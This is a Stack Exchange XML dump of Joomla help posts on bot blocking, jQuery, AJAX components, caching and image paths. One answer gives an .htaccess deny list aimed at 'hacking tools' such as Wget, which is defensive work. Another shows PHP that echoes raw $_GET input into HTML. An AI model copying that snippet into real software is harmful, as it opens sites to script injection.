  <row Id="5844" PostTypeId="1" CreationDate="2014-12-30T12:11:36.477" Score="1" ViewCount="544" Body="&lt;p&gt;I have more than 10000 images in my images/stories/virtuemart/product/ folder. (cant even see more than 9999).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now there are a lot of unused images piled up under the years question is :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do you clean up unused virtuemart 2 product images, not having to go one-by-one check and delete.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Attila.&lt;/p&gt;&#xA;" OwnerUserId="2340" LastActivityDate="2018-05-01T22:33:48.143" Title="How do you clean up unused virtuemart 2 product images?" Tags="|virtuemart|images|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5845" PostTypeId="1" CreationDate="2014-12-30T12:21:34.980" Score="9" ViewCount="1768" Body="&lt;p&gt;How can I block unknown bots which are taking too much bandwidth of my Joomla 3.3.6 site?&#xA;I don't want to block Yahoo, Google and MSN bots, only others. I checked my recent awstat; around 10,720+265 hits are today by unknown bots and consumed approximately 1GB bandwidth. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking forward for a positive solution.&lt;/p&gt;&#xA;" OwnerUserId="1863" LastEditorUserId="9471" LastEditDate="2019-03-17T09:43:59.510" LastActivityDate="2019-03-17T09:43:59.510" Title="How to block Joomla Unknown Bots" Tags="|joomla-3.3.x|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="5846" PostTypeId="2" ParentId="5844" CreationDate="2014-12-30T12:31:23.197" Score="1" Body="&lt;p&gt;The only automated way to review the active images is comparing image filenames in the database and the filenames in the image directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are working in Linux, you need some scripting hackery to compare two text files with VM image filenames versus all image filenames ... some commands like find *.jpg | grep | sort | diff ... at the end you get the list of images to be deleted.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-12-30T12:31:23.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5847" PostTypeId="2" ParentId="5845" CreationDate="2014-12-30T12:43:56.883" Score="7" Body="&lt;p&gt;You may allow only Yahoo, Google and MSN bots to crawl your site using &lt;code&gt;User-agent&lt;/code&gt; property.&#xA;Just leave blank &lt;code&gt;Disallow:&lt;/code&gt; for allowed crawler.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Slurp is Yahoo's bot. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;User-agent: Googlebot&#xA;Disallow: /administrator&#xA;Disallow: /bin/&#xA;Disallow: /cache/&#xA;Disallow: /cli/&#xA;Disallow: /components/&#xA;Disallow: /images/&#xA;Disallow: /includes/&#xA;Disallow: /installation/&#xA;Disallow: /language/&#xA;Disallow: /layouts/&#xA;Disallow: /libraries/&#xA;Disallow: /logs/&#xA;Disallow: /media/&#xA;Disallow: /modules/&#xA;Disallow: /plugins/&#xA;Disallow: /templates/&#xA;Disallow: /tmp/&#xA;User-agent: googlebot-image&#xA; Disallow: /administrator&#xA;Disallow: /bin/&#xA;Disallow: /cache/&#xA;Disallow: /cli/&#xA;Disallow: /components/&#xA;Disallow: /images/&#xA;Disallow: /includes/&#xA;Disallow: /installation/&#xA;Disallow: /language/&#xA;Disallow: /layouts/&#xA;Disallow: /libraries/&#xA;Disallow: /logs/&#xA;Disallow: /media/&#xA;Disallow: /modules/&#xA;Disallow: /plugins/&#xA;Disallow: /templates/&#xA;Disallow: /tmp/ &#xA;User-agent: googlebot-mobile&#xA;Disallow: /administrator&#xA;Disallow: /bin/&#xA;Disallow: /cache/&#xA;Disallow: /cli/&#xA;Disallow: /components/&#xA;Disallow: /images/&#xA;Disallow: /includes/&#xA;Disallow: /installation/&#xA;Disallow: /language/&#xA;Disallow: /layouts/&#xA;Disallow: /libraries/&#xA;Disallow: /logs/&#xA;Disallow: /media/&#xA;Disallow: /modules/&#xA;Disallow: /plugins/&#xA;Disallow: /templates/&#xA;Disallow: /tmp/ &#xA;User-agent: MSNBot&#xA;Disallow: /administrator&#xA;Disallow: /bin/&#xA;Disallow: /cache/&#xA;Disallow: /cli/&#xA;Disallow: /components/&#xA;Disallow: /images/&#xA;Disallow: /includes/&#xA;Disallow: /installation/&#xA;Disallow: /language/&#xA;Disallow: /layouts/&#xA;Disallow: /libraries/&#xA;Disallow: /logs/&#xA;Disallow: /media/&#xA;Disallow: /modules/&#xA;Disallow: /plugins/&#xA;Disallow: /templates/&#xA;Disallow: /tmp/ &#xA;User-agent: Slurp&#xA;Disallow: /administrator&#xA;Disallow: /bin/&#xA;Disallow: /cache/&#xA;Disallow: /cli/&#xA;Disallow: /components/&#xA;Disallow: /images/&#xA;Disallow: /includes/&#xA;Disallow: /installation/&#xA;Disallow: /language/&#xA;Disallow: /layouts/&#xA;Disallow: /libraries/&#xA;Disallow: /logs/&#xA;Disallow: /media/&#xA;Disallow: /modules/&#xA;Disallow: /plugins/&#xA;Disallow: /templates/&#xA;Disallow: /tmp/ &#xA;User-agent: yahoo-mmcrawler&#xA;Disallow: /administrator&#xA;Disallow: /bin/&#xA;Disallow: /cache/&#xA;Disallow: /cli/&#xA;Disallow: /components/&#xA;Disallow: /images/&#xA;Disallow: /includes/&#xA;Disallow: /installation/&#xA;Disallow: /language/&#xA;Disallow: /layouts/&#xA;Disallow: /libraries/&#xA;Disallow: /logs/&#xA;Disallow: /media/&#xA;Disallow: /modules/&#xA;Disallow: /plugins/&#xA;Disallow: /templates/&#xA;Disallow: /tmp/&#xA;User-agent: psbot&#xA;Disallow: /administrator&#xA;Disallow: /bin/&#xA;Disallow: /cache/&#xA;Disallow: /cli/&#xA;Disallow: /components/&#xA;Disallow: /images/&#xA;Disallow: /includes/&#xA;Disallow: /installation/&#xA;Disallow: /language/&#xA;Disallow: /layouts/&#xA;Disallow: /libraries/&#xA;Disallow: /logs/&#xA;Disallow: /media/&#xA;Disallow: /modules/&#xA;Disallow: /plugins/&#xA;Disallow: /templates/&#xA;Disallow: /tmp/&#xA;User-agent: yahoo-blogs/v3.9&#xA;Disallow: /administrator&#xA;Disallow: /bin/&#xA;Disallow: /cache/&#xA;Disallow: /cli/&#xA;Disallow: /components/&#xA;Disallow: /images/&#xA;Disallow: /includes/&#xA;Disallow: /installation/&#xA;Disallow: /language/&#xA;Disallow: /layouts/&#xA;Disallow: /libraries/&#xA;Disallow: /logs/&#xA;Disallow: /media/&#xA;Disallow: /modules/&#xA;Disallow: /plugins/&#xA;Disallow: /templates/&#xA;Disallow: /tmp/ &#xA;User-agent: *&#xA;Disallow: /&#xA;Disallow: /administrator&#xA;Disallow: /bin/&#xA;Disallow: /cache/&#xA;Disallow: /cli/&#xA;Disallow: /components/&#xA;Disallow: /images/&#xA;Disallow: /includes/&#xA;Disallow: /installation/&#xA;Disallow: /language/&#xA;Disallow: /layouts/&#xA;Disallow: /libraries/&#xA;Disallow: /logs/&#xA;Disallow: /media/&#xA;Disallow: /modules/&#xA;Disallow: /plugins/&#xA;Disallow: /templates/&#xA;Disallow: /tmp/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="440" LastEditorUserId="440" LastEditDate="2014-12-30T13:16:44.867" LastActivityDate="2014-12-30T13:16:44.867" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5848" PostTypeId="1" AcceptedAnswerId="5859" CreationDate="2014-12-30T17:27:28.157" Score="0" ViewCount="507" Body="&lt;p&gt;This isn't specific to Joomla except that I'm triggering a yootheme Widgetkit action. I have an email sign up form that loads via a javascript, and I've placed it inside a widgetkit lightbox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen this page:&#xA;&lt;a href=&quot;http://yootheme.com/support/question/36003&quot; rel=&quot;nofollow&quot;&gt;http://yootheme.com/support/question/36003&lt;/a&gt;&#xA;And it shows the command needed:&#xA;('#lightbox-close').trigger('click')&#xA;running this would trigger the close action on the modal lightbox, closing it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But because the submit button on this form is pulled into the page via javascript, I can't edit the form itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I was trying to put the script above the form. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I know for sure doesn't work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;$(&quot;#e2ma_signup_submit_button&quot;).click(function () {&#xA;$('#lightbox-close').trigger('click');&#xA;});&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;e2ma_signup_submit_button is the ID of the submit button in the form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone with any amount of jquery skill can probably get this working in a few seconds, so any help would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2014-12-31T21:58:10.393" Title="How do I trigger a jquery action when someone clicks submit" Tags="|joomla-3.x|jquery|widgetkit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5849" PostTypeId="5" CreationDate="2014-12-30T18:41:25.727" Score="0" Body="&lt;p&gt;All widgets and their effects are responsive and adapt for all device resolutions like mobiles, tablets and desktops.  Takes advantage of modern web technologies such as Semantic HTML markup, standards compliant CSS and jQuery.&lt;/p&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2015-01-02T12:01:54.737" LastActivityDate="2015-01-02T12:01:54.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5850" PostTypeId="4" CreationDate="2014-12-30T18:41:25.727" Score="0" Body="A toolkit of popular widgets for Joomla and WordPress created by YooTheme." OwnerUserId="64" LastEditorUserId="64" LastEditDate="2014-12-31T14:00:27.793" LastActivityDate="2014-12-31T14:00:27.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5851" PostTypeId="1" AcceptedAnswerId="5854" CreationDate="2014-12-30T21:14:14.963" Score="0" ViewCount="6632" Body="&lt;p&gt;I would like to add custom user fields such as: address, phone, etc to the User Manager section of my Joomla! installation for each of my current, as well as, new users that I setup on my website – so that I can use that data throughout the website.  How can I go about correctly setting this up?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="3428" LastActivityDate="2014-12-31T04:39:48.253" Title="How Can I Add Custom User Fields To the User Manager?" Tags="|joomla-3.3.x|user|user-groups|joomla-user-groups|" AnswerCount="2" CommentCount="1" ClosedDate="2014-12-31T20:22:32.197" ContentLicense="CC BY-SA 3.0" />
  <row Id="5852" PostTypeId="2" ParentId="5842" CreationDate="2014-12-30T21:36:40.813" Score="4" Body="&lt;p&gt;Well in case you don't want to use Joomla Ajax Interface, you could also do it like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have a module and you have your component. The script code goes into a javascript file or the view of the module (so that it will be invoked by the module).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you build your Component. Your component only needs to be installable, it does not need any sophisticated views or anything. The important file is the component controller (controller.php). This is where you could put your database query or just build whatever you want to display. One easy way is to have a controller method like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my Query(){&#xA;   // do something  - e.g. just create HTML output like this:&#xA;   $myVariableFromTheDropdownBox = $_GET['variablename']; // or use the JRequest/JInput methods&#xA;   $output = &quot;&amp;lt;p&amp;gt;my text or whatever &quot;.$myVariableFromTheDropdownBox.&quot;&amp;lt;/p&amp;gt;&quot;;&#xA;   echo $output;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To direct your AJAX code to this method, just adjust this line&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  xmlhttp.open(&quot;GET&quot;,&quot;query.php?q=&quot;+str,true);&#xA;  // or this one if you use jQuery&#xA;  url: 'modules/mod_dtm_cart/tmpl/query.php'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to be&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  xmlhttp.open(&quot;GET&quot;,&quot;option=com_yourcomponent&amp;amp;task=myQuery&amp;amp;q=&quot;+str,true);&#xA;  // or this one if you use jQuery&#xA;  url: 'option=com_yourcomponent&amp;amp;task=myQuery'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The output should be contained in the responseText you already included in your  &lt;code&gt;xmlhttp.onreadystatechange = function() {&lt;/code&gt;. Should you use jQuery, the data will not be concatenated to the url directly but put into a separate data:'value' line, could be an array as well. Let me know if you need further assistance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be careful about whether you use GET or POST - GET variables will be visible in your URL, POST won't appear there. Also consider looking into JInput (JRequest for older Joomla! versions) instead of using &lt;code&gt;$_POST&lt;/code&gt; / &lt;code&gt;$_GET&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have fun :-) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: If you want to try using the com_ajax alternative, try it like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;put your function (to be triggered by the AJAX request) into the helper.php of your module. Call it &lt;code&gt;myQueryAjax()&lt;/code&gt; instead of &lt;code&gt;myQuery()&lt;/code&gt;. &lt;/li&gt;&#xA;&lt;li&gt;the URL for your AJAX request will now be &lt;code&gt;?option=com_ajax&amp;amp;module=yourmodule&amp;amp;format=raw&amp;amp;method=myQuery&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;note that module=yourmodule does NOT include 'mod_', and method=myQuery does NOT include 'Ajax'. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="384" LastEditorUserId="384" LastEditDate="2015-01-06T18:54:20.520" LastActivityDate="2015-01-06T18:54:20.520" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="5853" PostTypeId="2" ParentId="5851" CreationDate="2014-12-30T22:22:07.040" Score="-1" Body="&lt;p&gt;Go to Component-&gt;Community builder-&gt;Field management.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There you can choose which kind of field you want to create. After that you can asign him to a tab you want. If you want to create your own tab, you to first go to the Tab Management (Component-&gt;Community builder-&gt;Tab management)&lt;/p&gt;&#xA;" OwnerUserId="3399" LastActivityDate="2014-12-30T22:22:07.040" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5854" PostTypeId="2" ParentId="5851" CreationDate="2014-12-31T04:39:48.253" Score="5" Body="&lt;p&gt;Joomla also provides a plugin named &lt;code&gt;User-Profile&lt;/code&gt; using which you can maintain additional user related information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This plugins is pre-installed with joomla installation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case this plugin is not sufficient enough to handle your requirement then you can either modify this extension to collect more information or you can create similar extension.&lt;/p&gt;&#xA;" OwnerUserId="396" LastActivityDate="2014-12-31T04:39:48.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5855" PostTypeId="1" AcceptedAnswerId="17153" CreationDate="2014-12-31T04:48:01.390" Score="3" ViewCount="174" Body="&lt;p&gt;I'm creating a template with many parameters available in its backend. &#xA;Basically I have about 8 blocks in the template structure (index.php) and each block have about 30 options (background, content type, layout, animation etc) so I have about 300 options totally in the template backend. This makes the template backend is loaded very slow when opened or saved. &#xA;Is there any native way (I didn't use any template framework) to make all of these 30 options are loaded in the separated / child xml so it will be called by demand and the template backend loaded faster? &lt;/p&gt;&#xA;" OwnerUserId="2295" LastActivityDate="2016-07-14T12:18:12.370" Title="Child XML for joomla parameters" Tags="|joomla-3.x|module-params|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5856" PostTypeId="1" CreationDate="2014-12-31T11:26:13.723" Score="0" ViewCount="45" Body="&lt;p&gt;I have menu item with articles preview in section type. In primary parameters there is param like 'show categories'. I choose 'hide' what has value of 0. In view I'm debugging this param by &lt;code&gt;var_dump($this-&amp;gt;params-&amp;gt;get('show_categories'));&lt;/code&gt; and... it's empty string! Even when I choose 'show' with value 1 it is still empty. Moreover I tried to change this value in database directly. In #__menus is field &quot;params&quot; and there is a line &lt;code&gt;show_categories=0&lt;/code&gt;. Strange. Then I've done a small test. In administration panel I changed param value to &quot;show&quot; (value 1) and this change apperars in database, not there is &lt;code&gt;show_categories=1&lt;/code&gt;. But var_dump still shows empty string...&lt;/p&gt;&#xA;" OwnerUserId="1592" LastEditorUserId="1592" LastEditDate="2014-12-31T11:53:20.590" LastActivityDate="2015-04-02T10:06:15.120" Title="1.5 - Menu item param 'show_categories' is always empty string" Tags="|joomla-1.5|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5859" PostTypeId="2" ParentId="5848" CreationDate="2014-12-31T20:36:15.927" Score="1" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;$(document).ready(function() {&#xA;    $('#e2ma_signup_submit_button').on('click', function() {&#xA;        $('#lightbox-close').trigger('click');&#xA;    });&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If it doesn't work, replace &lt;code&gt;$(document).ready(function() {&lt;/code&gt; with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://jsfiddle.net/zb1f8guL/&quot; rel=&quot;nofollow&quot;&gt;JSFiddle - Demo&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1520" LastEditorUserId="1520" LastEditDate="2014-12-31T21:58:10.393" LastActivityDate="2014-12-31T21:58:10.393" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5860" PostTypeId="2" ParentId="5845" CreationDate="2015-01-01T11:45:55.860" Score="1" Body="&lt;p&gt;You could also look at one of the cdn attack scanning services like Incapsula. It does mean altering your dns but they have a good screen and Joomla support for which I can login to their page and block or allow individual attacks and bots. They seem to have an updated list of attacks like to JCE and similar &lt;a href=&quot;http://www.incapsula.com/?src=6&amp;amp;subelm=holdingbay.co.uk&quot; rel=&quot;nofollow&quot;&gt;http://www.incapsula.com/?src=6&amp;amp;subelm=holdingbay.co.uk&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="109" LastEditorUserId="3650" LastEditDate="2016-03-06T19:17:06.447" LastActivityDate="2016-03-06T19:17:06.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5861" PostTypeId="1" AcceptedAnswerId="5869" CreationDate="2015-01-01T13:41:26.460" Score="0" ViewCount="807" Body="&lt;p&gt;so my problem with my webpage &lt;a href=&quot;http://nerdyfuture.byethost24.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;NerdyFuture&lt;/a&gt; is that it does not display it correctly on the web. On my localhost the page looks fine. Strangly when i put it on the web it looks fine first but after a while the position changes. Does anyone know how to fix this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How the page should look like (localhost):&#xA;&lt;img src=&quot;https://i.stack.imgur.com/DXI3T.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3396" LastActivityDate="2015-01-02T19:10:00.263" Title="Joomla not always displaying webpage correctly" Tags="|joomla-3.x|module|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5862" PostTypeId="2" ParentId="5861" CreationDate="2015-01-01T16:28:57.190" Score="1" Body="&lt;p&gt;You're not giving enough information, &lt;code&gt;after a while the position changes&lt;/code&gt; is not very helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a couple of common reasons for layout errors:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Make sure you've transferred all your files to the server. If possible, use &lt;a href=&quot;https://www.akeebabackup.com/download/akeeba-backup.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Akeeba Backup&lt;/a&gt; and &lt;a href=&quot;https://www.akeebabackup.com/products/akeeba-kickstart.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Kickstart&lt;/a&gt;. &lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure you've included your custom CSS files properly. Take a look at &lt;a href=&quot;https://joomla.stackexchange.com/questions/3877/how-do-i-override-the-css-styles-in-my-template/3878#3878&quot;&gt;this post&lt;/a&gt; for a couple of alternatives. I don't know if you have a &lt;code&gt;custom.css&lt;/code&gt; file, but if you do, it's not loaded in your source code. These are the CSS files I could see in your source code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;/templates/protostar/css/Header.css&quot; type=&quot;text/css&quot; /&amp;gt;&#xA;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;/templates/protostar/css/Bootstrap.css&quot; type=&quot;text/css&quot; /&amp;gt;&#xA;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;/templates/protostar/css/Latest-Articles.css&quot; type=&quot;text/css&quot; /&amp;gt;&#xA;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;/templates/protostar/css/Top-Articles.css&quot; type=&quot;text/css&quot; /&amp;gt;&#xA;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;/templates/protostar/css/template.css&quot; type=&quot;text/css&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(the rest are extension specific)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure your code contains no absolute paths to &lt;code&gt;http://localhost&lt;/code&gt; or relative paths that aren't valid on your live server.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Clear both your browsers cache and Joomla cache.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2015-01-01T16:28:57.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5863" PostTypeId="1" AcceptedAnswerId="5864" CreationDate="2015-01-01T17:27:44.017" Score="4" ViewCount="764" Body="&lt;p&gt;I have some custom components that specify images either in CSS or inline with relative paths:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=\&quot;images/loader.gif\&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is that I have a multi-site configuration (I don't use any 3rd party extensions) where the site is defined to be a specific language. So when you go to the site say www.anothersite.com it is Spanish only. When you go to a url Joomla puts in the locale code according to what I setup in the Language manager. ie.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;www.anothersite.com/es/stuff&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a problem with my custom components as now any images try to resolve to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;www.anothersite.com/es/images/loader.gif&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which is incorrect as it is at:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;www.anothersite.com/images/loader.gif&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have English sites as well in my multi-site configuration so it is important to resolve to: &lt;code&gt;www.anothersite.com/images/loader.gif&lt;/code&gt; or at least something consistent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to incorporate the language switcher as each site needs to be a dedicated language plus I doubt that changes anything. I can certainly add the language locale to my code but that is not a very elegant solution. Is there a better way to do this?&lt;/p&gt;&#xA;" OwnerUserId="83" LastActivityDate="2017-09-27T14:59:08.337" Title="Loading images in a multi-language multi-site configuration" Tags="|joomla-3.x|language|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5864" PostTypeId="2" ParentId="5863" CreationDate="2015-01-01T21:26:29.983" Score="3" Body="&lt;p&gt;I haven't been able to reproduce your error, but you can remove the language code from the Language Filter Plugin by setting &quot;Remove URL Language Code to YES. That will remove the &lt;code&gt;/es/&lt;/code&gt; or &lt;code&gt;/en/&lt;/code&gt; part from your URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4FnAj.jpg&quot; alt=&quot;Language Filter Plugin&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use absolute paths in the component with the &lt;code&gt;JURI::root()&lt;/code&gt; string:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;&amp;lt;?php echo 'JURI::root()'; ?&amp;gt;images/loader.gif&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-01-01T21:26:29.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5865" PostTypeId="2" ParentId="5856" CreationDate="2015-01-02T07:42:04.670" Score="1" Body="&lt;p&gt;Solved. I changed menu item type to category preview and then back to section preview, now is ok. Strange but works...&lt;/p&gt;&#xA;" OwnerUserId="1592" LastActivityDate="2015-01-02T07:42:04.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5866" PostTypeId="2" ParentId="5845" CreationDate="2015-01-02T09:44:29.037" Score="4" Body="&lt;p&gt;You can block a number of known bad bots with this snippet from &lt;a href=&quot;https://github.com/nikosdion/master-htaccess/blob/master/htaccess.txt&quot; rel=&quot;nofollow&quot;&gt;@Nikosdion's Master Htaccess&lt;/a&gt;: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;########## Begin - Common hacking tools and bandwidth hoggers block&#xA;## By SigSiu.net and @nikosdion.&#xA;# This line also disables Akeeba Remote Control 2.5 and earlier&#xA;SetEnvIf user-agent &quot;Indy Library&quot; stayout=1&#xA;# WARNING: Disabling wget will also block the most common method for&#xA;# running CRON jobs. Remove if you have issues with CRON jobs.&#xA;SetEnvIf user-agent &quot;Wget&quot; stayout=1&#xA;# The following rules are for bandwidth-hogging download tools&#xA;SetEnvIf user-agent &quot;libwww-perl&quot; stayout=1&#xA;SetEnvIf user-agent &quot;Download Demon&quot; stayout=1&#xA;SetEnvIf user-agent &quot;GetRight&quot; stayout=1&#xA;SetEnvIf user-agent &quot;GetWeb!&quot; stayout=1&#xA;SetEnvIf user-agent &quot;Go!Zilla&quot; stayout=1&#xA;SetEnvIf user-agent &quot;Go-Ahead-Got-It&quot; stayout=1&#xA;SetEnvIf user-agent &quot;GrabNet&quot; stayout=1&#xA;SetEnvIf user-agent &quot;TurnitinBot&quot; stayout=1&#xA;# This line denies access to all of the above tools&#xA;deny from env=stayout&#xA;########## End - Common hacking tools and bandwidth hoggers block&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="296" LastActivityDate="2015-01-02T09:44:29.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5867" PostTypeId="1" CreationDate="2015-01-02T10:56:02.557" Score="3" ViewCount="4810" Body="&lt;p&gt;I have placed these in my configuration file: but still cache handler is showing file instead of Memcache:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $caching = '1';&#xA;public $cache_handler = 'memcached';&#xA;public $cachetime = '350';&#xA;public $session_handler = 'database';&#xA;public $memcache_persist = '1';&#xA;public $memcache_compress = '0';&#xA;public $memcache_server_host = 'localhost';&#xA;public $memcache_server_port = '11211';&#xA;public $memcached_persist = '1';&#xA;public $memcached_compress = '0';&#xA;public $memcached_server_host = 'localhost';&#xA;public $memcached_server_port = '11211';&#xA;public $session_memcache_server_host = 'localhost';&#xA;public $session_memcache_server_port = '11211';&#xA;public $session_memcached_server_host = 'localhost';&#xA;public $session_memcached_server_port = '11211';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My hosting provide said that memcache is installed. I would appreciate if someone can assist in this regard.&lt;/p&gt;&#xA;" OwnerUserId="1863" LastActivityDate="2015-01-22T10:28:49.367" Title="Memcache settings for Joomla 3.3.6" Tags="|joomla-3.3.x|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5868" PostTypeId="1" CreationDate="2015-01-02T18:18:28.793" Score="0" ViewCount="236" Body="&lt;p&gt;I'm working with Jomsocial on Joomla 3, and i want to edit the registration page of jomsocial.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far, i've been able to locate the file, the view which shows the registration page, but i've been been able to fully edit it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to place some elements/content by the side, and to also the edit the whole page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do i edit the view&lt;/p&gt;&#xA;" OwnerUserId="3431" LastActivityDate="2015-01-04T20:03:11.560" Title="Registration page of jomsocial edit" Tags="|joomla-3.x|jomsocial|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
